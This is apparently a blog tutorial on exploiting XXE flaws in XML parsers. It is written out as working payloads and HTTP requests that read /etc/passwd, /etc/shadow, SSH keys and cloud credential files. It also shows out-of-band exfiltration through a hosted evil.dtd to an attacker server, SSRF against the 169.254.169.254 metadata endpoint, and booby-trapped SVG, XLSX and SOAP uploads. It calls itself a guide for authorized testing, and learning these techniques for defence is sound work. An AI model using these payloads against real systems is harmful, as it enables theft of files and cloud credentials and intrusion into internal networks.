From understanding how XML entities work to blind out-of-band exfiltration and the hidden attack surfaces most testers never check.
XXE is unlike almost every other vulnerability class you'll test for. There are no payloads to sneak into input fields, no quotes to break out of, no IDs to tamper with. XXE is about hijacking a feature that's built into the XML language itself — external entities — and pointing that feature at files on the server or systems on the internal network.
This guide walks through the full methodology: the mental model, the payload anatomy, how to find XXE in the wild, and the techniques — classic, blind, out-of-band, SSRF, and hidden attack surfaces — that separate a surface-level test from a thorough one.
1. The Right Mindset for XXE Testing
You are not injecting malicious code when you exploit XXE. You're using a completely valid, legitimate XML feature that the parser was never told to disable. The parser does exactly what it was built to do — it just shouldn't be doing it with untrusted input.
Core mental model: XML has a built-in feature that lets you define a "variable" whose value is loaded from a file or URL on the server. It was designed for legitimate content reuse. XXE happens when a server's XML parser processes your XML without disabling this feature — so you can define a variable that loads
/etc/passwd, reference it in your data, and get the server to hand the file back to you.
What a successful XXE attack can get you:
- Read any file the server process can access
- Probe internal network services (SSRF)
- Steal cloud credentials (AWS/Azure/GCP metadata)
- In rare cases, remote code execution
- Denial of service (the "Billion Laughs" attack)
2. XML 101 — What You Need to Know First
You don't need to become an XML expert. You need to understand three things: tags, entities, and DTDs.
What XML looks like:
<?xml version="1.0" encoding="UTF-8"?>
<order>
<productId>5</productId>
<quantity>2</quantity>
<user>alice</user>
</order>
An "entity" is just a variable. Define it once, reference it anywhere — like a shortcut key in a word processor.
<!-- Internal entity — defined and used within the document -->
<?xml version="1.0"?>
<!DOCTYPE order [
<!ENTITY companyname "Acme Corp">
]>
<order>
<vendor>&companyname;</vendor> <!-- becomes "Acme Corp" -->
</order>
An "external entity" is the dangerous part. Same concept, except instead of defining the value inline, you tell the parser to load it from a file path or URL, using the SYSTEM keyword:
<!ENTITY myvar SYSTEM "file:///etc/passwd">
When the parser encounters &myvar; in the document, it goes to the filesystem, reads /etc/passwd, and substitutes the contents in place of the entity reference. That content then shows up in the application's response.
A DTD (Document Type Definition) is the section at the top of an XML document, inside <!DOCTYPE>, where entities get declared. For XXE testing, all you need to know is: your entity declarations go inside the DOCTYPE block.
| Dangerous — external entities enabled | Safe — external entities disabled | |
|---|---|---|
Parser sees SYSTEM "file:///etc/passwd"
|
Opens the file, reads it, substitutes the content, returns it in the response | Ignores the external reference, returns empty or an error |
| Result | You just read a server file | Nothing leaked — one config line prevents it all |
3. What XXE Actually Is — A Real-World Analogy
Imagine a company has a form where suppliers submit orders. You fill it in with a product name and quantity, and a clerk processes it.
Now imagine the form has a special "Template" field where you can reference a pre-defined item from the company's internal catalog. The clerk is trained to fetch whatever you reference and include its contents in your order.
So you write in the Template field: "fetch the contents of the HR department's salary file." The clerk dutifully walks to the HR cabinet, retrieves the salary file, and includes it in your paperwork — which is handed back to you.
The clerk — the XML parser — just fetched a restricted internal file because you asked nicely, using the right syntax. That's XXE.
In technical terms: you send XML to a web application. Hidden inside it, you declare an external entity pointing to a server file. The parser, never told to refuse external entities, faithfully reads that file and inserts its contents into the parsed data. The application reflects that data back in its response — and you see the file contents.
4. Payload Anatomy — Every Line Explained
Most people copy-paste XXE payloads without understanding them, which is exactly why they fail the moment an application looks slightly different. Here's every line broken down:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&xxe;</productId>
</stockCheck>
-
<?xml version="1.0"?>— Standard XML declaration. Always required; tells the parser this is XML. -
<!DOCTYPE foo [— Opens the DTD block. "foo" is just a name — it can be anything. This is where your malicious entity gets declared. -
<!ENTITY xxe SYSTEM "file:///etc/passwd">— The attack itself. You're defining a variable namedxxewhose value loads from/etc/passwdon the server.SYSTEMmeans "external source." -
]>— Closes the DTD block. -
&xxe;— Where you use the entity. The parser replaces it with the file's contents. Place it inside a field that gets reflected back in the response so you can actually see the output.
The critical decision — where to place
&xxe;: It has to sit inside a tag whose value is reflected back in the response. If you put it somewhere that's silently processed and discarded, you'll never see the output. Test multiple fields — whichever one echoes back is your extraction channel.
5. Finding XXE Attack Surfaces
XXE only exists where the application parses XML. Your first job is finding every place XML enters the app — including places that don't look like XML at all.
Step 1 — Look for obvious XML in your proxy history. Search request bodies for:
Content-Type: application/xml
Content-Type: text/xml
Content-Type: application/soap+xml
Also look for XML structure directly in the body — a <?xml version="1.0"?> declaration or a SOAP envelope is a dead giveaway.
Step 2 — Try converting JSON to XML. This is one of the most overlooked surfaces. Some endpoints happily accept both formats.
# Original request (JSON):
POST /api/stock HTTP/1.1
Content-Type: application/json
{"productId": 5, "quantity": 2}
# Try converting to XML:
POST /api/stock HTTP/1.1
Content-Type: application/xml
<?xml version="1.0"?>
<root>
<productId>5</productId>
<quantity>2</quantity>
</root>
# If the response matches the JSON version → the server accepts XML → test for XXE
Step 3 — Check file uploads that accept XML-based formats:
| File format | Why it's XML | How to test |
|---|---|---|
.svg |
SVG is XML — image upload fields that accept SVG | Upload an SVG with an XXE payload inside |
.docx |
Word docs are ZIP archives containing XML | Unzip, inject into word/document.xml, rezip |
.xlsx |
Excel files are ZIP archives containing XML | Unzip, inject into xl/workbook.xml, rezip |
.xml |
Direct XML upload | Upload your XXE payload directly |
.pptx |
PowerPoint files are ZIP + XML | Same approach as docx/xlsx |
Step 4 — Confirm the parser actually processes entities, using a harmless internal entity before you escalate:
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY probe "HelloXXE">
]>
<root>
<data>&probe;</data>
</root>
# Response shows "HelloXXE" → entities are being processed → escalate to file read
# Response shows "&probe;" literally → entities are NOT processed → not vulnerable
6. Classic XXE — File Read, Response Visible
The most straightforward case: the app accepts XML, parses it, and reflects parsed values directly in the response.
Step 1 — Intercept the request. Find a request with XML in the body and send it to your testing tool of choice.
POST /api/stock/check HTTP/1.1
Content-Type: application/xml
<?xml version="1.0"?>
<stockCheck>
<productId>5</productId>
<storeId>1</storeId>
</stockCheck>
# Response: "Product ID 5 is in stock at store 1"
# → productId is reflected. That's your extraction channel.
Step 2 — Inject your payload. Add a DOCTYPE block above the root element, and place &xxe; inside the reflected field.
POST /api/stock/check HTTP/1.1
Content-Type: application/xml
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>
Step 3 — Read the response.
Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
# The entire /etc/passwd file replaced &xxe; in the error message. XXE confirmed.
Step 4 — Try other high-value files.
# Linux
file:///etc/passwd ← user accounts
file:///etc/shadow ← password hashes (if readable)
file:///etc/hostname ← server hostname
file:///proc/version ← kernel version
file:///proc/self/environ ← environment variables (often secrets)
file:///var/www/html/config.php ← DB credentials in app config
file:///home/app/.ssh/id_rsa ← SSH private key
file:///.aws/credentials ← AWS keys, if running on AWS
# Windows
file:///C:/Windows/win.ini
file:///C:/Windows/System32/drivers/etc/hosts
file:///C:/inetpub/wwwroot/web.config ← IIS config, often has DB passwords
file:///C:/Users/Administrator/.ssh/id_rsa
Tip: If one field doesn't reflect, try another. Put
&xxe;in<storeId>instead of<productId>and test every field — whichever one shows up in the response is your channel.
7. Blind XXE — Nothing Shows in the Response
Most real-world XXE is blind. The app processes your XML but never reflects the parsed values back to you. Classic file-read XXE fails silently — so you need to make the server send data somewhere you control.
The blind XXE strategy: instead of pointing the entity at a file and waiting for it to appear in the response, point it at your own server. The parser makes an HTTP (or DNS) request to your URL. You watch your listener for incoming connections — the request arriving confirms the vulnerability, and you can carry data out in the URL itself.
Step 1 — Confirm blind XXE with an out-of-band ping.
# Start a listener on a server you control:
python3 -m http.server 8080
# Inject a payload where the entity points to YOUR server, not a file:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://your-server.com:8080/xxe-test">
]>
<root>
<data>&xxe;</data>
</root>
# Watch your listener:
# "GET /xxe-test HTTP/1.1" → blind XXE confirmed. The parser reached out to you.
Step 2 — Exfiltrate file contents via an out-of-band DTD. To actually steal file contents through blind XXE, you need an external DTD hosted on your own server, defining a chain of parameter entities that reads a file and sends it to you.
# Host this as evil.dtd on your server:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://your-server.com:8080/?data=%file;'>">
%eval;
%exfil;
# What this does:
# 1. %file reads /etc/passwd into a variable
# 2. %eval builds a URL containing that file's content
# 3. %exfil sends an HTTP GET to your server with the file data in the URL
# Your XXE payload then just calls the external DTD:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://your-server.com:8080/evil.dtd">
%xxe;
]>
<root></root>
# Watch your listener for:
# GET /?data=root:x:0:0:root:/root:/bin/bash... HTTP/1.1
# ↑ /etc/passwd contents, right there in the URL
Watch out: multi-line files like
/etc/passwdcontain newlines that break URLs. If your data gets cut off, test against/etc/hostnamefirst (single line) to confirm the technique works, then move to Base64-encoding the payload for multi-line files, or target naturally single-line files like/proc/version.
Parameter entities vs. regular entities: blind XXE with external DTDs uses parameter entities (prefixed with %) instead of regular entities (&), because parameter entities can reference other parameter entities inside DTD declarations — regular ones can't.
Regular entity (classic XXE, in the XML body):
<!ENTITY xxe SYSTEM "file:///etc/passwd"> ← referenced as &xxe;
Parameter entity (blind XXE, inside a DTD):
<!ENTITY % xxe SYSTEM "http://your-server.com/evil.dtd"> ← note the %
%xxe; ← referenced with % not &
8. Out-of-Band XXE — The Complete Flow
Here's exactly what happens during a blind OOB XXE attack, end to end:
YOUR MACHINE TARGET SERVER YOUR SERVER
| | |
| 1. Send XML with | |
| XXE payload ──────────────>| |
| | 2. Parser reads |
| | DOCTYPE |
| | 3. Fetches evil.dtd ────────>|
| |<─────── returns evil.dtd ────|
| | 4. Executes DTD: |
| | reads /etc/passwd |
| | 5. Makes HTTP request |
| | with file contents ──────>|
| | | 6. You see:
| 7. Nothing in response | | GET /?data=root:x:0...
|<──────────────────────────────| |
| |
| 8. Read your server's terminal — the file data is right there
9. XXE → SSRF: Making the Server Talk to Internal Systems
Instead of pointing your entity at a file:// path, point it at an http:// URL of an internal system. The server's parser makes that HTTP request for you — from inside the network, bypassing any firewall that would've blocked you directly.
Basic internal network probe:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://192.168.1.1/admin">
]>
<data>&xxe;</data>
# Admin panel content appears → you're reading internal pages
# "Connection refused" → port is closed
# Timeout → port might be filtered
# This difference lets you PORT SCAN internal services
Cloud metadata endpoints are a critical target. If the app runs on AWS:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM
"http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">
]>
<data>&xxe;</data>
# A vulnerable response might contain:
{
"AccessKeyId": "ASIAXXXXXXXXXXX",
"SecretAccessKey": "...",
"Token": "..."
}
# Full AWS account compromise from a single XXE.
# Azure metadata: http://169.254.169.254/metadata/instance?api-version=2021-02-01
# GCP metadata: http://metadata.google.internal/computeMetadata/v1/instance/
10. XXE in Unexpected Places
Most testers only check the obvious XML endpoints. The best findings usually come from places that don't look like XML at all.
SVG file upload. SVG is an XML-based image format. If the server processes an uploaded SVG (thumbnails, previews, conversion), it's parsing XML — and your XXE fires.
<!-- evil.svg -->
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg width="500" height="500" xmlns="http://www.w3.org/2000/svg">
<text x="10" y="20">&xxe;</text>
</svg>
XLSX / DOCX file upload. Office files are ZIP archives containing XML. Unzip, inject, rezip, upload.
unzip template.xlsx -d xlsx_extracted/
# Edit xl/workbook.xml (or xl/sharedStrings.xml), adding at the top:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE workbook [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
# Then reference &xxe; somewhere in the file content
cd xlsx_extracted && zip -r ../evil.xlsx . && cd ..
# Upload evil.xlsx
Content-Type switching:
# Original:
POST /search HTTP/1.1
Content-Type: application/x-www-form-urlencoded
q=laptop&category=electronics
# Try switching to XML:
POST /search HTTP/1.1
Content-Type: application/xml
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<search>
<q>&xxe;</q>
<category>electronics</category>
</search>
# Some backends auto-detect XML regardless of the original request format
SOAP web services are also a classic target, since SOAP is XML by design:
POST /webservice HTTP/1.1
Content-Type: text/xml; charset=utf-8
SOAPAction: "getUser"
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<getUser>
<userId>&xxe;</userId>
</getUser>
</soap:Body>
</soap:Envelope>
11. XInclude — When DOCTYPE Isn't an Option
Sometimes you don't control the entire XML document — your input is just one value that gets embedded into a larger server-side document. You can't add a DOCTYPE, so classic XXE fails. XInclude solves this — it's part of the XML spec that lets you include external content from within any element, no DOCTYPE required.
# You only control the value inside <productId>...</productId>
<productId>
<xi:include xmlns:xi="http://www.w3.org/2001/XInclude"
parse="text"
href="file:///etc/passwd"/>
</productId>
# xmlns:xi declares the XInclude namespace
# parse="text" means include the file as plain text
# href is the file path
# If the server processes XInclude, /etc/passwd shows up in the output
Use XInclude when you find injection into an XML value, but the DOCTYPE section isn't under your control — for example, when your input is a form field embedded inside a backend XML template.
12. Building a Testing Toolkit
A practical workflow for testing XXE systematically:
- Proxy: Capture every XML request in your HTTP history; filter by Content-Type.
- Repeater/workspace: Modify the XML body, resend, and read the response.
-
Search: Look through request history for
<?xmlorDOCTYPE. -
A server you control: For blind/OOB XXE, you need somewhere to host
evil.dtdand watch for callbacks — a small VPS withpython3 -m http.serverworks fine.
Manual testing checklist:
- Find XML in your proxy history (
Content-Type: xml) - Try converting JSON endpoints to XML
- Test an internal entity first to confirm processing
- Try
file:///etc/passwdin aSYSTEMdeclaration - Try
http://pointed at your own server (blind confirmation) - Check file uploads for SVG/XLSX/DOCX
Useful files to try:
- Linux:
/etc/passwd,/etc/hostname,/proc/self/environ,/proc/version - Windows:
C:/Windows/win.ini,C:/inetpub/wwwroot/web.config - Cloud: the metadata endpoint at
169.254.169.254
13. The Full Testing Checklist
Finding the attack surface:
- Search proxy history for
Content-Type: application/xmlortext/xml - Look for
<?xmlorDOCTYPEin request bodies - Try switching JSON endpoints to XML by changing Content-Type
- Check file upload fields that accept SVG, DOCX, XLSX, XML
- Look for SOAP endpoints (SOAPAction header, XML envelope)
Confirming XML processing:
- Test an internal entity — does it resolve?
- Confirm which XML field's value is reflected in the response
- Try placing
&xxe;in every field to find the reflection point
Classic XXE (visible response):
- Point
SYSTEMatfile:///etc/passwd— did contents appear? - Try
file:///etc/hostname(shorter, confirms file read) - Try Windows paths if error messages suggest a Windows server
- Attempt to read config files for credentials
Blind XXE (no visible response):
- Start a listener on your own server
- Point
SYSTEMat your server — did the request arrive? - Create an
evil.dtdwith a parameter entity chain for exfiltration - Host the DTD and referenced it via a parameter entity
- Watch your listener for incoming requests carrying file data
Advanced / alternative techniques:
- Try XInclude when DOCTYPE injection wasn't possible
- Try SSRF via an
http://entity pointing at internal IPs - Try the cloud metadata endpoint if the app runs on cloud infrastructure
- Test SVG upload with an XXE payload, if image upload was present
- Test XLSX injection by modifying
workbook.xmlinside the ZIP
The golden rule for XXE: it requires two things to work — the server must parse XML, and external entities must not be disabled. Your job is to find where XML gets parsed, then test whether external entities are processed. If they are, you can access the server's file system. Start with
/etc/hostname(single-line, always readable) to confirm, then escalate to/etc/passwdand configuration files.
The XXE mantra: Find the XML → define the entity → point it at a file → read the response.
If you can't see the response, make the server call home. If you can't add a DOCTYPE, use XInclude. If the server can't reach files directly, make it probe internal services instead. XXE almost always has another path.
Note: This guide is intended for authorized security testing and educational purposes — always test within the scope of a legal engagement or your own lab environment.
Top comments (0)